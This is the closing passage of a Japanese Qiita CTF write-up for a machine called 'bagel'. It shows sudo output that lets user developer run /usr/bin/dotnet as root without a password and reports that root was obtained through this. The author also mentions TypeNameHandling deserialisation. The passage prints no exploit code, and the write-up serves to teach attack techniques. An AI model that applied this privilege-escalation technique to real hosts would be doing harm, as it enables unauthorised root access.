    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet

dotnetがRoot権限で実行できそう、このコマンドのRoot権限昇格については以下を参考にしてほしい。
速攻で権限昇格できるはずである。

というわけでレッツ権限昇格!!!!
17.png
Root権限昇格完了!!!

まとめ

image.png

これで特権昇格に成功し、Root権限奪取に成功しました。
.NETは初心者すぎましたが、Class(のリバーシング)を経験しているようであれば難なく解けると思われます。
TypeNameHandlingの知識も付いて、いい勉強になりました。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?